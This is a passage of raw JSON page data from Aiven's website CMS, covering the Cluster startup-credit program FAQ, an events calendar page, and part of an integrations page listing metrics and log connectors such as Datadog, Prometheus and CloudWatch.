"}],"markDefs":[],"style":"normal"},{"_key":"407595ae76bb","_type":"block","children":[{"_key":"05fdaef2d2bd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"19382ac0bd9a","_type":"block","children":[{"_key":"b466a608584b","_type":"span","marks":["strong"],"text":"How many credits can I get?"}],"markDefs":[],"style":"h5"},{"_key":"2a19f1e2f86b","_type":"block","children":[{"_key":"44831da2e5c8","_type":"span","marks":[],"text":"The credit value depends on which partner you are affiliated with and can be as high as $100,000. If you are not affiliated with a Cluster partner, you can qualify for $12,000. Once you fill out the application form, we will let you know how many credits you are eligible for.\n"}],"markDefs":[],"style":"normal"},{"_key":"12b7a6d56486","_type":"block","children":[{"_key":"08776e19b5420","_type":"span","marks":["strong"],"text":"How can we participate if we don’t have investor backing?"}],"markDefs":[],"style":"h5"},{"_key":"31c2cbe65d97","_type":"block","children":[{"_key":"b6641749338d0","_type":"span","marks":[],"text":"If you haven't raised funding yet, you can still apply as long as you are affiliated with one of Cluster's accelerator, incubator or co-working space partners."}],"markDefs":[],"style":"normal"},{"_key":"7ccb7866d5d1","_type":"block","children":[{"_key":"bf96e1899ceb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"734df09745af","_type":"block","children":[{"_key":"1a51a7b8e8d20","_type":"span","marks":["strong"],"text":"Can existing Aiven customers apply to the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f7353b70e42d","_type":"block","children":[{"_key":"26ace8bd1513","_type":"span","marks":[],"text":"Yes - as long as you meet the eligibility criteria."}],"markDefs":[],"style":"normal"},{"_key":"6f51513eb04c","_type":"block","children":[{"_key":"429205aec797","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"577e524ba115","_type":"block","children":[{"_key":"2afc047d762d0","_type":"span","marks":["strong"],"text":"What is the application process and timeline?"}],"markDefs":[],"style":"h5"},{"_key":"72e71ec427a1","_type":"block","children":[{"_key":"3973385e1a69","_type":"span","marks":[],"text":"Applications are accepted and considered continually, with new participants selected each month. Once you apply, please give us 14 days to review your application and, if needed, get back to you with any additional questions."}],"markDefs":[],"style":"normal"},{"_key":"0ac68bf666e5","_type":"block","children":[{"_key":"46ead206950d","_type":"span","marks":[],"text":"Newly accepted startups join the program on the first Monday of every month. Joint kick-off calls for new participants are held monthly."}],"markDefs":[],"style":"normal"},{"_key":"3a6c8c734474","_type":"block","children":[{"_key":"3c1b5eff6936","_type":"span","marks":[],"text":"Please note that Aiven reserves the right to change the schedule as necessary."}],"markDefs":[],"style":"normal"},{"_key":"55c5405d506f","_type":"block","children":[{"_key":"60bc014a4307","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ac0de2dd49e3","_type":"block","children":[{"_key":"90e8d6bcb8b50","_type":"span","marks":["strong"],"text":"I am not associated with any of the Cluster program partners. Can I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"56f5427e7147","_type":"block","children":[{"_key":"98d109d70402","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"fbfa4e44ac4c","_type":"block","children":[{"_key":"3cf071361e6d","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"},{"_key":"d41df345538d","_type":"block","children":[{"_key":"4aa9ad8cc8010","_type":"span","marks":[],"text":"I want to join the program but I am not ready to use the credits right away. Should I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"f19027669bb4","_type":"block","children":[{"_key":"8815186a4c97","_type":"span","marks":[],"text":"Yes, you should still apply and indicate in the application form that you would like to start using credits later on. We can then discuss the best starting date for you."}],"markDefs":[],"style":"normal"},{"_key":"1faf553cd5cd","_type":"block","children":[{"_key":"6e3b23d4d09d0","_type":"span","marks":[],"text":"Where can I find the full list of network partners affiliated with Aiven Cluster?"}],"markDefs":[],"style":"h5"},{"_key":"e1f1c47a6889","_type":"block","children":[{"_key":"3c64129c8b54","_type":"span","marks":[],"text":"Here is a "},{"_key":"177dbbdd8bb1","_type":"span","marks":["80d9c80ec5b6"],"text":"full list of partners"},{"_key":"4eba3361cecb","_type":"span","marks":[],"text":" associated with Aiven Cluster."}],"markDefs":[{"_key":"80d9c80ec5b6","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"}],"title":"Eligibility criteria, program application and credit tiers"},{"_key":"567da99ff303","_type":"accordionItem","panelText":[{"_key":"ea973abbc86e","_type":"block","children":[{"_key":"79ce975196860","_type":"span","marks":[],"text":"Seriously? Up to $100,000 credits? What can I do with that?"}],"markDefs":[],"style":"h5"},{"_key":"c37b079cb049","_type":"block","children":[{"_key":"557e3bd523f0","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"ee31cbf489d8","_type":"block","children":[{"_key":"7e9d39181771","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"6ed69f089613","_type":"block","children":[{"_key":"cba1a01622f8","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"4275c4c1a89d","_type":"block","children":[{"_key":"c47e722ac428","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"},{"_key":"5b4a1698ff43","_type":"block","children":[{"_key":"89bc775af945","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"30241b38d8c2","_type":"block","children":[{"_key":"2ab9a181292e0","_type":"span","marks":[],"text":"How does Aiven promote startups in the program?"}],"markDefs":[],"style":"h5"},{"_key":"f8f8e59e3c23","_type":"block","children":[{"_key":"d17bcabdb055","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"6372f5c914fd","_type":"span","marks":["c72426d343f8"],"text":"here"},{"_key":"820b1580f315","_type":"span","marks":[],"text":". We also invite startups to speak at our meetups and events, and award notable achievements publicly. "}],"markDefs":[{"_key":"c72426d343f8","_type":"link","href":"https://aiven.io/blog/data-for-good"}],"style":"normal"},{"_key":"7b5c5b978001","_type":"block","children":[{"_key":"25124620189b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9093380e7e3d","_type":"block","children":[{"_key":"633df96af7870","_type":"span","marks":[],"text":"What technical support does Aiven offer \u0026 how do I access it?"}],"markDefs":[],"style":"h5"},{"_key":"cbec7b409523","_type":"block","children":[{"_key":"adcf230878e8","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"2825946c1d6d","_type":"block","children":[{"_key":"fce9a8c68ae0","_type":"span","marks":[],"text":"For Cluster program participants, Aiven provides Basic level support without separate charge through email regarding problems related to using and accessing the Aiven Cloud Services. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[],"style":"normal"},{"_key":"09fae2280f10","_type":"block","children":[{"_key":"cc2a763f4fb1","_type":"span","marks":[],"text":"You can read more about the support Aiven offers on https://aiven.io/support-services."}],"markDefs":[],"style":"normal"},{"_key":"c9a244d9277d","_type":"block","children":[{"_key":"5e6fb2e83cf0","_type":"span","marks":[],"text":"To access support, you will need to log a support ticket through the Aiven console. "}],"markDefs":[],"style":"normal"}],"title":"Program perks"},{"_key":"44d94881f694","_type":"accordionItem","panelText":[{"_key":"9da7a7c53eff","_type":"block","children":[{"_key":"e43437d901b90","_type":"span","marks":[],"text":"What are the terms and conditions of the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f1fa79078996","_type":"block","children":[{"_key":"d2b2095e97bd","_type":"span","marks":[],"text":"When an applicant submits the application form, the applicant must agree to acknowledge that the use of the Aiven services is subject to Aiven online T\u0026Cs which are to be accepted when signing in to the Aiven console, and that Aiven may always stop giving free credits or cancel any credits given."}],"markDefs":[],"style":"normal"},{"_key":"d3265afa7392","_type":"block","children":[{"_key":"db5a225a71a1","_type":"span","marks":[],"text":"The amount of credits awarded to successful applicants is up to $100,000 depending on the use of services."}],"markDefs":[],"style":"normal"},{"_key":"039d29a01973","_type":"block","children":[{"_key":"9a468d3578cd","_type":"span","marks":[],"text":"Aiven reserves the right to cancel credits in order to be able to react in the event participant would breach the online T\u0026Cs or would otherwise use the credits against the purpose of the Cluster program."}],"markDefs":[],"style":"normal"},{"_key":"96f94ec2d79e","_type":"block","children":[{"_key":"6805e3541101","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"54e610f1df18","_type":"block","children":[{"_key":"72c07c13a2750","_type":"span","marks":[],"text":"What happens if I don’t use all my credits within the year?"}],"markDefs":[],"style":"h5"},{"_key":"c84b7aa7af74","_type":"block","children":[{"_key":"55dd69e38b47","_type":"span","marks":[],"text":"Your credits are valid for 12 months, so if you haven’t used them by the end of the program, they will expire."}],"markDefs":[],"style":"normal"},{"_key":"36d138287ca1","_type":"block","children":[{"_key":"90ebda7a5060","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"321142cb010f","_type":"block","children":[{"_key":"8b79c965d0cd0","_type":"span","marks":[],"text":"Can I apply for credits more than once?"}],"markDefs":[],"style":"h5"},{"_key":"b4bfde5ef741","_type":"block","children":[{"_key":"766cdfe5a8d6","_type":"span","marks":[],"text":"No. You can only receive Cluster credits once."}],"markDefs":[],"style":"normal"},{"_key":"c7171f14ff35","_type":"block","children":[{"_key":"d242eb20d2430","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0ba74fc0a50","_type":"block","children":[{"_key":"44d8d4b7c632","_type":"span","marks":[],"text":"I started out on the lowest credit tier and I am now affiliated with one of the Cluster partners. Can I get more credits?"}],"markDefs":[],"style":"h5"},{"_key":"3d45578cf726","_type":"block","children":[{"_key":"2d1ce36e567d","_type":"span","marks":[],"text":"Yes, you can access the difference between the lowest tier and the amount you are eligible for through affiliation with our partner. We can’t extend the time frame when you can use the credits, but we can grant you the difference. Reach out to us at cluster@aiven.io to discuss the details."}],"markDefs":[],"style":"normal"},{"_key":"85169a8a9ce5","_type":"block","children":[{"_key":"e5edff44bbbc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"56b9a2391894","_type":"block","children":[{"_key":"98586eaa24490","_type":"span","marks":[],"text":"Do I have to continue using Aiven after the Cluster program ends?"}],"markDefs":[],"style":"h5"},{"_key":"9fde0666c076","_type":"block","children":[{"_key":"3b9c6fc4e49e","_type":"span","marks":[],"text":"We don’t ask you to commit to using Aiven after you run out of credits. However, we think that you are going to like the product and and hope you'll stay with Aiven for the long run."}],"markDefs":[],"style":"normal"}],"title":"Terms and conditions"}],"noSpaceTop":true,"roundedCorners":"rounded","title":"Cluster FAQ "}],"seo":{"_type":"metaData","metaDescription":"Cluster - the Aiven startup program - offers data infra support to up and coming startups so they can scale up and grow.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven Cluster Startup Program | Kickstart your data journey"},"slug":{"_type":"slug","current":"/cluster"},"title":"Cluster"} {"__i18n_lang":"en","_createdAt":"2023-04-19T10:04:51Z","_id":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_rev":"1OyjLnRDvuzO2Q4Gk6nBuM","_type":"page","_updatedAt":"2024-09-24T08:52:09Z","content":[{"_key":"5142bbe7af9e","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","darkTheme":false,"description":[{"_key":"15e62058ac0d","_type":"block","children":[{"_key":"1d8adf23cc1c0","_type":"span","marks":[],"text":"Aiven actively engages with the open source data community at conferences, meetups, webinars and events around the world."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Events calendar","variant":"compact"},{"_key":"678f5a9a9080","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":true,"fullWidth":true,"headerPosition":"default","items":[{"_key":"b79c802cb284","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/webinar/whats-new-with-aiven-genai-power?utm_source=website\u0026utm_medium=organic\u0026utm_campaign=Whats_New_With_Aiven_Sept12\u0026","title":"Register now"},"image":{"_type":"mainImage","asset":{"_ref":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_type":"reference"}},"variant":"default"},{"_key":"7ed781d39137964c35eab9646bf28185","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/events/retail-nxt","title":"Meet Aiven at RETAIL NXT Conference"},"image":{"_type":"mainImage","asset":{"_ref":"image-189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7-1200x628-png","_type":"reference"}},"variant":"default"},{"_key":"035495ee9879eedd75ed82dc59c0b5c3","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Upgrade your skills with free workshops"},"image":{"_type":"mainImage","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","tagline":"Don't miss these hot upcoming events"}],"seo":{"_type":"metaData","metaDescription":"Aiven actively engages with the open source data community at conferences, meetups, webinars and events around the world.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e8241d6585e249353b457238f6dd82c450048466-1200x630-jpg","_type":"reference"}},"metaTitle":"Worldwide conferences, meetups, webinars and events | Aiven"},"slug":{"_type":"slug","current":"/events"},"title":"Events calendar"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}],"_createdAt":"2022-08-12T12:55:57Z","_id":"c45be782-8d01-4d1d-a207-245deea2dfc4","_rev":"yryarpLFwOAxYGs4JJnEbu","_type":"page","_updatedAt":"2024-11-21T12:16:40Z","content":[{"_key":"3d4e66be1f11","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"ef88e436d80a","_type":"block","children":[{"_key":"07254cd46f820","_type":"span","marks":[],"text":"Need monitoring? Orchestration? Data integration? We offer the connectors you need to quickly integrate Aiven services with your existing infra."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-217ebf74b2f64043e02cfa3b1783ccf3b440c632-2500x2500-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations","title":"See docs"},"title":"Aiven integrations and connectors","variant":"default"},{"_key":"d409828eccbd","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"f2420a58c232","_type":"scrollSpyNavItem","sectionId":"metrics","title":"Metrics"},{"_key":"6b8c6a9c2b22","_type":"scrollSpyNavItem","sectionId":"logs","title":"Logs"},{"_key":"85184d501687","_type":"scrollSpyNavItem","sectionId":"kafka-connectors","title":"Aiven for Apache Kafka® Connectors"},{"_key":"13044d24316e","_type":"scrollSpyNavItem","sectionId":"clickhouse","title":"ClickHouse®"},{"_key":"bc1d7d33d7a3","_type":"scrollSpyNavItem","sectionId":"flink","title":"Flink®"},{"_key":"12583c984a9e","_type":"scrollSpyNavItem","sectionId":"devops","title":"DevOps tools"},{"_key":"5e1332312c43","_type":"scrollSpyNavItem","sectionId":"postgresql","title":"Aiven for PostgreSQL® extensions"}],"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"}},{"_key":"3a8eda47680a","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a7c0a9bdc1885326e65b816f64432a15cf633673-1650x1272-png","_type":"reference"}},"noSpaceBottom":true,"rounded":false,"text":[{"_key":"f52885ceb3e5","_type":"block","children":[{"_key":"cd7a494bb6900","_type":"span","marks":[],"text":"Aiven takes care of your services’ health automatically and "},{"_key":"cd7a494bb6901","_type":"span","marks":["8cd386d0d33c"],"text":"sends out alerts"},{"_key":"cd7a494bb6902","_type":"span","marks":[],"text":" well before your services reach their limit. If you want to monitor your services more closely, you can conveniently export logs and metrics through 3rd party integrations or build your own monitoring solution with Aiven."}],"markDefs":[{"_key":"8cd386d0d33c","_type":"link","href":"https://help.aiven.io/en/articles/5234705-technical-emails"}],"style":"normal"}],"title":"Monitor your data infrastructure with the tools of your choice","variant":"mediaRight"},{"_key":"40996d9a5e08","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"metrics","items":[{"_key":"a22fb31cadd1","_type":"cardItem","borderTopColor":{"_ref":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/platform/howto/list-monitoring","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"29f071e745e3","_type":"block","children":[{"_key":"a1e173d0abb40","_type":"span","marks":[],"text":"Store your backend metrics in a time series database (M3DB or PG) and visualize them in a prebuilt (and customizable) Grafana dashboard"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Grafana® dashboard","variant":"icon-card"}],"noSpaceBottom":true,"rounded":false,"subtitle":[{"_key":"b8f5309eb567","_type":"block","children":[{"_key":"762a90d4e4830","_type":"span","marks":[],"text":"Integrating these metrics will help you control your services and make sure there are no peaks in consumption (disk, RAM, network)."}],"markDefs":[],"style":"normal"},{"_key":"2954b89622e5","_type":"block","children":[{"_key":"577ca2e31cf0","_type":"span","marks":[],"text":"Aiven solutions"}],"markDefs":[],"style":"h3"},{"_key":"46c508083fd0","_type":"block","children":[{"_key":"c90b4a84ebbf0","_type":"span","marks":[],"text":"Build your own monitoring solution with Aiven tools to gather and analyze metrics with our pre-built Grafana dashboard."}],"markDefs":[],"style":"normal"}],"title":"Metrics"},{"_key":"95155e591c08","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"b96629b93482","_type":"cardItem","borderTopColor":{"_ref":"97591528-a57b-42c3-9ed0-029f1bc27781","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/datadog/datadog-metrics","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"9da261b672cc","_type":"block","children":[{"_key":"ca3197983db20","_type":"span","marks":[],"text":"Send service metrics to external Datadog endpoint"}],"markDefs":[],"style":"normal"}],"title":"Datadog metrics","variant":"icon-card"},{"_key":"02d766e2788d","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/platform/howto/integrations/prometheus-metrics","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-9980731fef994f6b3eaae75f44d49c85b5e57008-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"f618a0d33754","_type":"block","children":[{"_key":"565e034de2990","_type":"span","marks":[],"text":"Expose service metrics to external Prometheus endpoint"}],"markDefs":[],"style":"normal"}],"title":"Prometheus","variant":"icon-card"},{"_key":"c688dff18c38","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/platform/howto/integrations/access-jmx-metrics-jolokia","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-ecdcd916ca571e2afc90fc682dda9b08d68e07c7-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"06a6c4fdf9bf","_type":"block","children":[{"_key":"1d36021ef3890","_type":"span","marks":[],"text":"Expose service metrics to external Jolokia endpoint"}],"markDefs":[],"style":"normal"}],"title":"Jolokia","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d5324bfad86b","_type":"block","children":[{"_key":"1ff984a5a7640","_type":"span","marks":[],"text":"External integrations"}],"markDefs":[],"style":"h3"},{"_key":"69ef576dab80","_type":"block","children":[{"_key":"b0c5d965b5f80","_type":"span","marks":[],"text":"Have an existing monitoring stack already? Export your metrics through 3rd party integrations."}],"markDefs":[],"style":"normal"}]},{"_key":"cbca04fc3e91","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59cc80b6b21b12885b128a2b846ab66188942dd5-1260x411-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1616b0a41945c6451134ecfbd01b0c406a1eee91-982x627-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/platform/howto/list-monitoring","title":"Learn how"},"rounded":true,"text":[{"_key":"78b54bde9e5f","_type":"block","children":[{"_key":"4d3f786862bd0","_type":"span","marks":[],"text":"Set up a Grafana service with ready-made dashboards for the services you’re monitoring. You can also monitor the performance of your Aiven tools - use Aiven for M3 or PostgreSQL as a time series backend and enjoy the prebuilt and customizable grafana dashboards."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Grafana® dashboard","variant":"mediaRight"},{"_key":"e06fd665539a","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"logs","items":[{"_key":"552057c9ed2a","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/opensearch/howto/opensearch-log-integration","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"091d41a0c907","_type":"block","children":[{"_key":"2dcba14347a20","_type":"span","marks":[],"text":"Integrate with OpenSearch to monitor service logs"}],"markDefs":[],"style":"normal"}],"title":"Aiven for OpenSearch®","variant":"icon-card"},{"_key":"f95360a95b9a785d88d43627e19fbd39","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/integrate-service-logs-into-kafka-topic","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"2e787d1c14c9","_type":"block","children":[{"_key":"27bb25836ee20","_type":"span","marks":[],"text":"Send service logs to an Aiven for Apache Kafka service or external Apache Kafka cluster to make them accessible for downstream processing"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® logs","variant":"icon-card"}],"noSpaceBottom":true,"rounded":false,"subtitle":[{"_key":"36e0db7e8660","_type":"block","children":[{"_key":"8952af3639610","_type":"span","marks":[],"text":"Improve your service visibility and control your messages by monitoring logs. Automatically flag issues before they become a serious problem."}],"markDefs":[],"style":"normal"},{"_key":"eebd60574c5d","_type":"block","children":[{"_key":"45e295b8e9db0","_type":"span","marks":[],"text":"Aiven solutions"}],"markDefs":[],"style":"h3"},{"_key":"892c438c646f","_type":"block","children":[{"_key":"21cd3f801de50","_type":"span","marks":[],"text":"Use Aiven solutions to gain more insight and control over your logs."}],"markDefs":[],"style":"normal"}],"title":"Logs"},{"_key":"61195102f255bd76586529e26b14bd7c","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"552057c9ed2a","_type":"cardItem","borderTopColor":{"_ref":"37baf5a8-eb1c-419f-a157-dc0d3a3f1a03","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/rsyslog","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-552065517431fa19eb296d83ca7f19fb498bd3d1-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"e78ab0afd7ed","_type":"block","children":[{"_key":"6e60bfb4257f0","_type":"span","marks":[],"text":"Send service logs to a remote syslog service"}],"markDefs":[],"style":"normal"}],"title":"Rsyslog custom endpoint","variant":"icon-card"},{"_key":"f95360a95b9a785d88d43627e19fbd39","_type":"cardItem","borderTopColor":{"_ref":"e386f4bc-05e3-4ff3-9fdc-706819367798","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/cloudwatch/list-cloudwatch-logs","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"f5624f4e652a","_type":"block","children":[{"_key":"66ffedc68a4a0","_type":"span","marks":[],"text":"Send service logs to AWS CloudWatch, where you can store, view or archive them"}],"markDefs":[],"style":"normal"}],"title":"AWS CloudWatch","variant":"icon-card"},{"_key":"4b080fadae4a64d505d36a1d0d994a84","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/cloudlogging","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-f15f4f9755bb1317f3d47ddd717f0d258996ead3-56x48-svg","_type":"reference"}},"subtitle":[{"_key":"31fd0c5e0446","_type":"block","children":[{"_key":"3a8fe5deb4520","_type":"span","marks":[],"text":"Send service logs to an external Google Cloud Logging endpoint"}],"markDefs":[],"style":"normal"}],"title":"GCP Cloud Logging","variant":"icon-card"},{"_key":"2e69de1f93c2ed21f28b77b9d1359cc1","_type":"cardItem","borderTopColor":{"_ref":"97591528-a57b-42c3-9ed0-029f1bc27781","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/datadog/datadog-logs","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"d806daba3c1a","_type":"block","children":[{"_key":"d72ac4318a740","_type":"span","marks":[],"text":"Use the Aiven Rsyslog integration to send the logs from your Aiven services to Datadog"}],"markDefs":[],"style":"normal"}],"title":"Datadog logs","variant":"icon-card"},{"_key":"d805ec4b816d39dfd894a7bba9ec0a86","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/send-logs-to-elasticsearch","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-0546055e4535c6e6c8bfb8bf169e2c9cda77902b-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"31b57d3b86e2","_type":"block","children":[{"_key":"8c1fe2f0eb680","_type":"span","marks":[],"text":"Store your service logs in an external Elasticsearch service"}],"markDefs":[],"style":"normal"}],"title":"External Elasticsearch","variant":"icon-card"},{"_key":"3b6397bbf499ccc5d8ba83b27a49c6e2","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/integrations/send-logs-to-elasticsearch","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"9c0573d0cbc6","_type":"block","children":[{"_key":"44eb28abd12f0","_type":"span","marks":[],"text":"Store your service logs in an external OpenSearch service"}],"markDefs":[],"style":"normal"}],"title":"External OpenSearch","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5a0d68c6f713","_type":"block","children":[{"_key":"c2d9a449e81b0","_type":"span","marks":[],"text":"External integrations"}],"markDefs":[],"style":"h3"},{"_key":"bb86dd62d6c9","_type":"block","children":[{"_key":"3743eaf294430","_type":"span","marks":[],"text":"Send your service logs to other clouds for 